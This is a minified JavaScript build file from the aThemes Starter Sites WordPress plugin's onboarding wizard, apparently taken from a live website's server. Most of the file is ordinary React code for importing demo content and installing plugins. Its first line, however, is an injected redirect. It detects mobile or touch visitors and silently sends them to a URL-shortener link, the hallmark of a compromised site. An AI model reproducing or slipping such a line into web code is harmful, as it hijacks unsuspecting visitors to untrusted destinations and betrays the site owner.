File: //home2/gazetufm/bleje.net/wp-content/plugins/athemes-starter-sites/v2/onboarding/build/205.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
"use strict";(globalThis.webpackChunkathemes_starter_sites=globalThis.webpackChunkathemes_starter_sites||[]).push([[205],{205:(e,t,s)=>{s.r(t),s.d(t,{default:()=>N});var i=s(87),a=s(723),r=s(374),o=s(809),n=s(649);s(609);var l=s(467),c=s(874),d=s(790);function p(){return(0,d.jsx)("svg",{width:"16",height:"11",viewBox:"0 0 16 11",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",children:(0,d.jsx)("path",{d:"M10.4062 0.140625C10.582 4.51798e-07 10.8281 4.30284e-07 11.0039 0.140625L15.6445 4.78125C15.7852 4.95703 15.7852 5.20312 15.6445 5.37891L11.0039 10.0195C10.8281 10.1602 10.582 10.1602 10.4062 10.0195L9.70312 9.31641C9.5625 9.14063 9.5625 8.89453 9.73828 8.71875L12.5508 6.01172L0.421874 6.01172C0.210937 6.01172 -1.00946e-06 5.80078 -1.0279e-06 5.58985L-1.11396e-06 4.60547C-1.13547e-06 4.35938 0.210936 4.1836 0.421874 4.1836L12.5508 4.18359L9.73828 1.44141C9.5625 1.26563 9.5625 1.01953 9.70312 0.843751L10.4062 0.140625Z",fill:"currentColor"})})}function m(){return(0,d.jsx)("svg",{width:"16",height:"16",viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",children:(0,d.jsx)("path",{d:"M10 0H15C15.5312 0 16 0.46875 16 1V6C16 6.5625 15.5312 7 15 7C14.4375 7 14 6.5625 14 6V3.4375L7.6875 9.71875C7.3125 10.125 6.65625 10.125 6.28125 9.71875C5.875 9.34375 5.875 8.6875 6.28125 8.3125L12.5625 2H10C9.4375 2 9 1.5625 9 1C9 0.46875 9.4375 0 10 0ZM2.5 1H6C6.53125 1 7 1.46875 7 2C7 2.5625 6.53125 3 6 3H2.5C2.21875 3 2 3.25 2 3.5V13.5C2 13.7812 2.21875 14 2.5 14H12.5C12.75 14 13 13.7812 13 13.5V10C13 9.46875 13.4375 9 14 9C14.5312 9 15 9.46875 15 10V13.5C15 14.9062 13.875 16 12.5 16H2.5C1.09375 16 0 14.9062 0 13.5V3.5C0 2.125 1.09375 1 2.5 1Z",fill:"currentColor"})})}const _=function(){const e=(0,i.useRef)(window.atssOnboarding?.homeUrl||window.location.origin),t=window.atssOnboarding?.customizeUrl,s=`${e.current.replace(/\/$/,"")}/wp-admin/admin.php?page=wc-admin&path=/setup-wizard`,o=window.atssOnboarding?.dashboardUrl,n=!!window.atssOnboarding?.isWooOnboardingCompleted,[_,g]=(0,i.useState)(!0),[u,h]=(0,i.useState)(!1),[N,M]=(0,i.useState)(!1),w=()=>{window.open(e.current,"_blank")},j=[{label:(0,a.__)("Customize Site","athemes-starter-sites"),onClick:()=>{t&&window.open(t,"_blank")}},{label:(0,a.__)("Documentation","athemes-starter-sites"),onClick:()=>{window.open(l.RD,"_blank")}},{label:(0,a.__)("Join Facebook Group","athemes-starter-sites"),onClick:()=>{window.open(l.xf,"_blank")}}],I=[{title:(0,a.__)("View Your Site","athemes-starter-sites"),description:(0,a.__)("Open your site to check out the live front-end view.","athemes-starter-sites"),label:(0,a.__)("View Site","athemes-starter-sites"),href:e.current,isPrimary:!0},{title:(0,a.__)("Edit Your Site","athemes-starter-sites"),description:(0,a.__)("Go to the Site Editor to edit your homepage, navigation, and customize your site’s design.","athemes-starter-sites"),label:(0,a.__)("Edit Site","athemes-starter-sites"),href:t,isPrimary:!0},!n&&{title:(0,a.__)("WooCommerce Setup","athemes-starter-sites"),description:(0,a.__)("Finish setting up WooCommerce to start selling products and accepting payments.","athemes-starter-sites"),label:(0,a.__)("WooCommerce Setup","athemes-starter-sites"),href:s},{title:(0,a.__)("Keep Tabs on What’s Important","athemes-starter-sites"),description:(0,a.__)("Visit the dashboard for quick access to everything that matters and gain important insights.","athemes-starter-sites"),label:(0,a.__)("Visit Dashboard","athemes-starter-sites"),href:o},{title:(0,a.__)("View Botiga Docs","athemes-starter-sites"),description:(0,a.__)("Watch tutorial videos and read through the docs to learn how to get the most from Botiga.","athemes-starter-sites"),label:(0,a.__)("View Docs","athemes-starter-sites"),href:l.RD,isExternal:!0}].filter(Boolean),z={wizardTitle:c.A?(0,a.__)("Shop Setup Complete! 🎉","athemes-starter-sites"):(0,a.__)("Site setup complete!","athemes-starter-sites"),wizardDescription:c.A?n?(0,a.__)("Now you can view, edit, and customize your site using the Site Editor. Refer to our docs if you need more direction.","athemes-starter-sites"):(0,a.__)("Now you can view, edit, and customize your site using the Site Editor. Don’t forget to finish setting up WooCommerce, and refer to our docs if you need more direction.","athemes-starter-sites"):(0,a.__)("You can choose to visit site and start customizing it or check out our documentation for more details","athemes-starter-sites")};return(0,d.jsxs)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--complete",children:[(0,d.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,d.jsx)("div",{className:"atss-onboarding-wizard__step-body-content atss-onboarding-wizard__step-body-content-inner",children:(0,d.jsxs)("div",{className:"atss-complete",children:[(0,d.jsx)("div",{className:"atss-complete__icon-wrapper",children:(0,d.jsx)("img",{src:c.A?"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNzQiIGhlaWdodD0iNzQiIHZpZXdCb3g9IjAgMCA3NCA3NCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9Ijc0IiBoZWlnaHQ9Ijc0IiByeD0iMzciIGZpbGw9IiNFNEY1RjIiLz4KPHBhdGggZD0iTTUwLjM3NSAyNy42MjVDNTEuMTg3NSAyOC4zNzUgNTEuMTg3NSAyOS42ODc1IDUwLjM3NSAzMC40Mzc1TDM0LjM3NSA0Ni40Mzc1QzMzLjYyNSA0Ny4yNSAzMi4zMTI1IDQ3LjI1IDMxLjU2MjUgNDYuNDM3NUwyMy41NjI1IDM4LjQzNzVDMjIuNzUgMzcuNjg3NSAyMi43NSAzNi4zNzUgMjMuNTYyNSAzNS42MjVDMjQuMzEyNSAzNC44MTI1IDI1LjYyNSAzNC44MTI1IDI2LjM3NSAzNS42MjVMMzMgNDIuMTg3NUw0Ny41NjI1IDI3LjYyNUM0OC4zMTI1IDI2LjgxMjUgNDkuNjI1IDI2LjgxMjUgNTAuMzc1IDI3LjYyNVoiIGZpbGw9IiMwMDk2ODMiLz4KPC9zdmc+Cg==":"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNzQiIGhlaWdodD0iNzQiIHZpZXdCb3g9IjAgMCA3NCA3NCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHJlY3Qgd2lkdGg9Ijc0IiBoZWlnaHQ9Ijc0IiByeD0iMzciIGZpbGw9IiNFM0ZDRTciLz4KPHBhdGggZD0iTTUwLjM3NSAyNy42MjVDNTEuMTg3NSAyOC4zNzUgNTEuMTg3NSAyOS42ODc1IDUwLjM3NSAzMC40Mzc1TDM0LjM3NSA0Ni40Mzc1QzMzLjYyNSA0Ny4yNSAzMi4zMTI1IDQ3LjI1IDMxLjU2MjUgNDYuNDM3NUwyMy41NjI1IDM4LjQzNzVDMjIuNzUgMzcuNjg3NSAyMi43NSAzNi4zNzUgMjMuNTYyNSAzNS42MjVDMjQuMzEyNSAzNC44MTI1IDI1LjYyNSAzNC44MTI1IDI2LjM3NSAzNS42MjVMMzMgNDIuMTg3NUw0Ny41NjI1IDI3LjYyNUM0OC4zMTI1IDI2LjgxMjUgNDkuNjI1IDI2LjgxMjUgNTAuMzc1IDI3LjYyNVoiIGZpbGw9IiMwMDhBMjAiLz4KPC9zdmc+",alt:(0,a.__)("Success icon indicating site setup is complete","athemes-starter-sites"),className:"atss-complete__icon"})}),(0,d.jsxs)("div",{className:"atss-complete__header",children:[(0,d.jsx)("h2",{className:"atss-onboarding-wizard__step-body-title text-xl font-medium",children:z.wizardTitle}),(0,d.jsx)("p",{className:"atss-onboarding-wizard__step-body-description text-sm text-secondary",children:z.wizardDescription})]}),!c.A&&(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)("div",{className:"atss-complete__preview",children:(0,d.jsxs)("div",{className:"atss-complete__preview-inner",onMouseEnter:()=>M(!0),onMouseLeave:()=>M(!1),onClick:()=>{window.open(e.current,"_blank")},children:[_&&!u?(0,d.jsx)("div",{className:"atss-complete__preview-loading",children:(0,d.jsx)(r.y$,{})}):null,N&&!_?(0,d.jsx)("div",{className:"atss-complete__preview-overlay",children:(0,d.jsx)("div",{className:"atss-complete__preview-overlay-icon",children:(0,d.jsx)("img",{src:"data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTQiIGhlaWdodD0iMTQiIHZpZXdCb3g9IjAgMCAxNCAxNCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZD0iTTggMUM4IDAuNDY4NzUgOC40Mzc1IDAgOSAwSDEyLjk2ODhDMTMuMTI1IDAgMTMuMjUgMC4wMzEyNSAxMy4zNzUgMC4wOTM3NUMxMy40Njg4IDAuMTI1IDEzLjU5MzggMC4yMTg3NSAxMy42ODc1IDAuMzEyNUMxMy44NzUgMC41IDEzLjk2ODggMC43NSAxNCAxVjVDMTQgNS41NjI1IDEzLjUzMTIgNiAxMyA2QzEyLjQzNzUgNiAxMiA1LjU2MjUgMTIgNVYzLjQzNzVMNi42ODc1IDguNzE4NzVDNi4zMTI1IDkuMTI1IDUuNjU2MjUgOS4xMjUgNS4yODEyNSA4LjcxODc1QzQuODc1IDguMzQzNzUgNC44NzUgNy42ODc1IDUuMjgxMjUgNy4zMTI1TDEwLjU2MjUgMkg5QzguNDM3NSAyIDggMS41NjI1IDggMVpNMCAzQzAgMS45MDYyNSAwLjg3NSAxIDIgMUg1QzUuNTMxMjUgMSA2IDEuNDY4NzUgNiAyQzYgMi41NjI1IDUuNTMxMjUgMyA1IDNIMlYxMkgxMVY5QzExIDguNDY4NzUgMTEuNDM3NSA4IDEyIDhDMTIuNTMxMiA4IDEzIDguNDY4NzUgMTMgOVYxMkMxMyAxMy4xMjUgMTIuMDkzOCAxNCAxMSAxNEgyQzAuODc1IDE0IDAgMTMuMTI1IDAgMTJWM1oiIGZpbGw9IndoaXRlIi8+Cjwvc3ZnPg==",alt:""})})}):null,u?(0,d.jsxs)("div",{className:"atss-complete__preview-error",children:[(0,d.jsx)("p",{children:(0,a.__)("Unable to load site preview","athemes-starter-sites")}),(0,d.jsx)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--continue",onClick:w,children:(0,a.__)("View Site Anyway","athemes-starter-sites")})]}):(0,d.jsx)("iframe",{src:e.current,title:(0,a.__)("Site Preview","athemes-starter-sites"),className:"atss-complete__iframe",onLoad:()=>{g(!1)},onError:()=>{g(!1),h(!0)}})]})}),(0,d.jsxs)("button",{type:"button",className:"atss-onboarding-wizard__btn atss-onboarding-wizard__btn--continue w100",onClick:w,children:[(0,d.jsx)("span",{children:(0,a.__)("Visit Site","athemes-starter-sites")}),(0,d.jsx)("span",{className:"atss-onboarding-wizard__btn-arrow","aria-hidden":"true",children:(0,d.jsx)(p,{})})]})]}),c.A&&(0,d.jsx)("div",{className:"atss-complete__actions",children:I.map(e=>e.href?(0,d.jsxs)("div",{className:"atss-complete__action-item",children:[(0,d.jsxs)("div",{className:"atss-complete__action-content",children:[(0,d.jsx)("h4",{children:e.title}),(0,d.jsx)("p",{children:e.description})]}),(0,d.jsxs)("a",{href:e.href,className:"atss-complete__action-link"+(e.isPrimary?"":" atss-complete__action-link--outline"),target:"_blank",rel:e.isExternal?"noreferrer":void 0,children:[e.label,e.isExternal?(0,d.jsx)(m,{}):e.isPrimary?(0,d.jsx)(p,{}):null]})]},e.title):null)})]})})}),!c.A&&(0,d.jsx)("footer",{className:"atss-onboarding-wizard__footer flex gap-md",children:j.map((e,t)=>(0,d.jsx)(r.Mu,{label:e.label,onClick:e.onClick},t))})]})};var g=s(668);const u={woocommerce:{path:"woocommerce/woocommerce.php",name:"WooCommerce"},"wpforms-lite":{path:"wpforms-lite/wpforms.php",name:"WPForms Lite"},"all-in-one-seo-pack":{path:"all-in-one-seo-pack/all_in_one_seo_pack.php",name:"All in One SEO"},"wpconsent-cookies-banner-privacy-suite":{path:"wpconsent-cookies-banner-privacy-suite/wpconsent.php",name:"WPConsent"},duplicator:{path:"duplicator/duplicator.php",name:"Duplicator"},"sugar-calendar-lite":{path:"sugar-calendar-lite/sugar-calendar-lite.php",name:"Sugar Calendar Lite"},merchant:{path:"merchant/merchant.php",name:"Merchant"}},h=["gutenberg"],N=function({onContinue:e,onImportingChange:t}){const{wizardData:s,setIsImportComplete:l,builder:p}=(0,o.X)(),[m,N]=(0,i.useState)(0),[M,w]=(0,i.useState)((0,a.__)("Preparing import...","athemes-starter-sites")),[j,I]=(0,i.useState)(!1),[z,b]=(0,i.useState)(null),[y,x]=(0,i.useState)(!1),D=(s.design||{}).selectedSiteId||"",f=p||"gutenberg",C=(e={})=>{const t=s.pages||{},i=s.features||{},a=s.optin||{},r=t.selectedPages||[],o=i.selectedPlugins||[];return{builder:f,step:"import",demo_id:D,has_selected_starter:!!D,selected_pages_count:r.length,selected_plugins_count:o.length,optin_checked:!!a.optinChecked,...e}},A=(0,i.useCallback)(async()=>{t?.(!0),(async e=>{const t=(e.optin||{}).email;if(!t)return;const s=window.atssOnboarding?.themeName||"Unknown";try{await fetch("https://athemes.com/wp-json/wpf-api/v1/starter-sites/subscribe",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({email:t,theme:s})})}catch(e){console.warn("Lindris opt-in failed:",e)}})(s);const e=(e=>{const t=[],s=window.atssOnboarding&&window.atssOnboarding.demos?window.atssOnboarding.demos:{},i=e.design&&e.design.selectedSiteId?e.design.selectedSiteId:"",r=(e.customize||{}).cleanInstall||!1,o=(e.features||{}).selectedPlugins||[];if(i&&t.push({action:"atss_import_start",log:(0,a.__)("Starting import...","athemes-starter-sites"),priority:1}),r&&i&&t.push({action:"atss_import_clean",log:(0,a.__)("Cleaning previous import...","athemes-starter-sites"),priority:2}),i){const e=s[i];if(e&&e.plugins&&o.length>0){const s={elementor:{slug:"elementor",path:"elementor/elementor.php",name:"Elementor"},"all-in-one-seo-pack":{slug:"all-in-one-seo-pack",path:"all-in-one-seo-pack/all_in_one_seo_pack.php",name:"All in One SEO"},"athemes-blocks":{slug:"athemes-blocks",path:"athemes-blocks/athemes-blocks.php",name:"aThemes Blocks"},"athemes-addons-for-elementor-lite":{slug:"athemes-addons-for-elementor-lite",path:"athemes-addons-for-elementor-lite/athemes-addons-elementor.php",name:"aThemes Addons"},"wpconsent-cookies-banner-privacy-suite":{slug:"wpconsent-cookies-banner-privacy-suite",path:"wpconsent-cookies-banner-privacy-suite/wpconsent.php",name:"WPConsent"},duplicator:{slug:"duplicator",path:"duplicator/duplicator.php",name:"Duplicator"}};o.forEach(i=>{let r=e.plugins.find(e=>e.slug===i);!r&&s[i]&&(r=s[i]),r&&t.push({action:"atss_import_plugin",slug:r.slug,path:r.path,log:(0,a.__)("Installing","athemes-starter-sites")+" "+r.name+"...",priority:3})})}}else o.length>0&&o.forEach(e=>{if(h.includes(e))return;const s=u[e];s&&t.push({action:"atss_import_plugin",slug:e,path:s.path,log:(0,a.__)("Installing","athemes-starter-sites")+" "+s.name+"...",priority:3})});return i&&(t.push({action:"atss_import_contents",log:(0,a.__)("Importing content...","athemes-starter-sites"),priority:4}),t.push({action:"atss_import_widgets",log:(0,a.__)("Importing widgets...","athemes-starter-sites"),priority:5}),t.push({action:"atss_import_customizer",log:(0,a.__)("Importing customizer settings...","athemes-starter-sites"),priority:6})),t.push({action:"atss_apply_wizard_customizations",log:(0,a.__)("Applying your customizations...","athemes-starter-sites"),priority:7}),i&&t.push({action:"atss_import_finish",log:c.A?(0,a.__)("Compiling Composer Elements","athemes-starter-sites"):(0,a.__)("Finishing import...","athemes-starter-sites"),priority:8}),t})(s);if((0,g.v)("onboarding_import_started",C()),0===e.length)return(0,g.v)("onboarding_import_failed",C({import_step:"",error_code:"no_import_steps_configured"})),b((0,a.__)("No import steps configured.","athemes-starter-sites")),void t?.(!1);let i=0;const r={atss_import_contents:2,atss_import_plugin:1},o=["AbortError","RedirectError","SyntaxError"],d={},p=e=>o.includes(e.name)||"TypeError"===e.name&&void 0===e.status;for(;i<e.length;){const s=e[i];w(s.log),N(Math.round(i/e.length*100));try{const e=await(0,n.lH)({...s,demo_id:D,builder_type:f});if(e&&!1===e.success){if("atss_import_widgets"===s.action||"atss_import_customizer"===s.action){(0,g.v)("onboarding_import_failed",C({import_step:s.action,error_code:"non_critical_import_step_failed",error_message:"string"==typeof e.data?e.data:e.data?.message||""})),console.warn("Non-critical import step failed:",s.action,e.data),i++;continue}if("atss_import_plugin"===s.action){(0,g.v)("onboarding_import_failed",C({import_step:s.action,error_code:"plugin_installation_failed",error_message:"string"==typeof e.data?e.data:"",plugin_slug:s.slug||""})),console.warn("Plugin installation failed:",s.slug,e.data),i++;continue}throw new Error(e.data||(0,a.__)("Import step failed.","athemes-starter-sites"))}if(d[i]=0,"atss_import_plugin"===s.action&&await(0,n.Em)(),e&&"newAJAX"===e.status)continue;(0,g.v)("onboarding_import_step_completed",C({import_step:s.action})),i++}catch(e){if(console.error("Import error:",e),p(e)&&r[s.action]&&(d[i]=(d[i]||0)+1,d[i]<=r[s.action])){console.log("Import step failed transiently, retrying...",s.action,e.name);continue}if("atss_import_plugin"===s.action){(0,g.v)("onboarding_import_failed",C({import_step:s.action,error_code:"AbortError"===e.name?"plugin_installation_timeout":"plugin_installation_request_failed",error_message:e.message||"",http_status:e.status||0,plugin_slug:s.slug||""})),console.warn("Plugin installation failed, skipping:",s.slug,e.name),i++;continue}if("atss_import_widgets"===s.action||"atss_import_customizer"===s.action){(0,g.v)("onboarding_import_failed",C({import_step:s.action,error_code:"non_critical_import_step_failed",error_message:e.message||"",http_status:e.status||0})),console.warn("Non-critical import step request failed, skipping:",s.action,e.name),i++;continue}return(0,g.v)("onboarding_import_failed",C({import_step:s.action,error_code:e.name||"import_step_failed",error_message:e.message||"",http_status:e.status||0,plugin_slug:"atss_import_plugin"===s.action?s.slug||"":void 0})),b(e.message||(0,a.__)("An error occurred during import.","athemes-starter-sites")),void t?.(!1)}}if(!D)try{await(0,n.Cr)()}catch(e){console.warn("Could not clear the wizard state after import:",e.name)}(0,g.v)("onboarding_import_completed",C()),(0,g.Cb)(),N(100),w((0,a.__)("Import complete!","athemes-starter-sites")),t?.(!1),I(!0),l(!0)},[s,D,f,l,t]);if((0,i.useEffect)(()=>{y||(x(!0),A())},[y,A]),z)return(0,d.jsx)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--import",children:(0,d.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,d.jsx)("div",{className:"atss-onboarding-wizard__step-body-content",children:(0,d.jsxs)("div",{className:"atss-import-error",children:[(0,d.jsxs)("svg",{width:"64",height:"64",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,d.jsx)("circle",{cx:"12",cy:"12",r:"10",stroke:"#dc2626",strokeWidth:"2"}),(0,d.jsx)("path",{d:"M12 7v6",stroke:"#dc2626",strokeWidth:"2",strokeLinecap:"round"}),(0,d.jsx)("circle",{cx:"12",cy:"16",r:"1",fill:"#dc2626"})]}),(0,d.jsx)("h2",{className:"atss-onboarding-wizard__step-body-title text-xl font-medium",children:(0,a.__)("Import Failed","athemes-starter-sites")}),(0,d.jsx)("p",{className:"atss-onboarding-wizard__step-body-description text-sm text-secondary",children:z}),(0,d.jsx)("button",{type:"button",className:"atss-button atss-button--primary",onClick:()=>{t?.(!1),b(null),x(!1),N(0)},children:(0,a.__)("Try Again","athemes-starter-sites")})]})})})});if(j)return(0,d.jsx)(_,{});const S={wizardTitle:c.A?(0,a.__)("We’re Building Your Shop...","athemes-starter-sites"):(0,a.__)("We Are Building Your Website...","athemes-starter-sites")};return(0,d.jsx)("div",{className:"atss-onboarding-wizard__step atss-onboarding-wizard__step--import",children:(0,d.jsx)("main",{className:"atss-onboarding-wizard__step-body",children:(0,d.jsxs)("div",{className:"atss-onboarding-wizard__step-body-content",children:[(0,d.jsx)("div",{className:"atss-onboarding-wizard__spinner-circle",children:(0,d.jsx)(r.y$,{})}),(0,d.jsx)("h2",{className:"atss-onboarding-wizard__step-body-title text-xl font-medium",children:S.wizardTitle}),(0,d.jsx)("p",{className:"atss-onboarding-wizard__step-body-description text-sm text-secondary w100",children:(0,a.__)("Please be patient and don’t refresh this page, the import process may take a while.","athemes-starter-sites")}),(0,d.jsxs)("div",{className:"atss-import-progress",children:[(0,d.jsxs)("div",{className:"atss-import-progress__header flex justify-between items-center gap-xs",children:[(0,d.jsx)("div",{className:"atss-import-progress__status text-md font-medium text-primary",children:M}),(0,d.jsxs)("div",{className:"atss-import-progress__percentage text-sm text-secondary",children:[m,"%"]})]}),(0,d.jsx)("div",{className:"atss-import-progress__bar",children:(0,d.jsx)("div",{className:"atss-import-progress__fill",style:{"--progress-width":`${m}%`}})})]})]})})})}},467:(e,t,s)=>{s.d(t,{RD:()=>o,gm:()=>a,xV:()=>r,xf:()=>n});const i="https://athemes.com",a=`${i}/account/`,r=`${i}/`,o=`https://docs.athemes.com/documentation/${window.atssOnboarding?.themeName}`,n="https://www.facebook.com/groups/athemes/"}}]);